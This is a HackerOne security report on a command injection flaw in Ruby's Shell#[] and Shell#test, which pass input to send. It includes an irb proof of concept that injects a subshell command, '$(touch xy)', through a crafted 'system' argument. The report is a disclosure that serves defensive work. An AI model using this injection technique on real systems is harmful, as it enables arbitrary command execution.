Potential command injection in `Shell#[]` and `Shell#test`
None
Vulnerability Details
As `Shell#test` and `Shell#[]` use `send` when transferring to FileTest, private methods etc. can also be called. Therefore, command injection is possible when a crafted value is passed.
```ruby
$ irb
irb(main):001:0> `ls xy`
ls: xy: No such file or directory
=> ""
irb(main):002:0> require 'shell'
=> true
irb(main):003:0> sh = Shell.new
=> #<Shell:0x00007fc0c20f2a78>
irb(main):004:0> sh['system', '$(touch xy)']
sh: /private/tmp/: is a directory
=> false
irb(main):005:0> `ls xy`
=> "xy\n"
```
Since send is executed after the file path is converted to absolute path, it is difficult with `instance_eval` and `open` etc, but you can execute it using a subshell.
## Impact
It seems almost unlikely that user input is given for the purpose, so it probably will not be affected in most cases.
It may be feasible under complex conditions such as combining object injection and other problems.
Actions
View on HackerOneReport Stats
- Report ID: 327512
- State: Closed
- Substate: resolved
- Upvotes: 1